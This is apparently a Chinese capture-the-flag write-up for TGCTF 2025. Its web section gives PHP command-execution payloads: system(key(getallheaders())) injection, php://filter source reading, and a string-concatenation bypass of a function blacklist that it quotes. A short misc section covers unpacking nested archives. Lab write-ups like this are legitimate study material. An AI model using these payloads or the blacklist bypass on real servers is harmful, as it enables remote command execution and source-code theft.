web
AAA偷渡阴平
?tgctf2025=system(key(getallheaders()));
利用key(getallheaders())获取第一个文件头的值,再利用system执行,我们先目录遍历发现flag在../../..,然后修改指令为cat ../../../flag便能得到flag。
火眼辩魑魅
首先访问robots.txt发现有
1 | User-Agent: * |
一个个看过去发现,tginclude.php可以用php伪协议php://filter/convert.base64-encode/resource=来读取其他页面的源码发现tgshell.php中是用if(!preg_match("/openlog|syslog|readlink|symlink|popepassthru|stream_socket_server|scandir|assert|pcntl_exec|fwrite|curl|system|eval|assert|flag|passthru|exec|chroot|chgrp|chown|shell_exec|proc_open|proc_get_status|popen|ini_alter|ini_restore/i", $shell))
进行过滤的,那么我们可以利用字符串拼接来绕过如
('sy' . 'stem')('cat ../../../tgfffffllllaagggggg');
我们可以先目录遍历发现flag在前三层然后直接cat获取。
得到TGCTF{bd737064-fc78-5d40-df61-03e28c2a91e7}
misc
解压压缩包发现有好多层,直接叫豆包写代码打开最后一层
1 | import os |
打开最后一层发现了
flag{so_great!}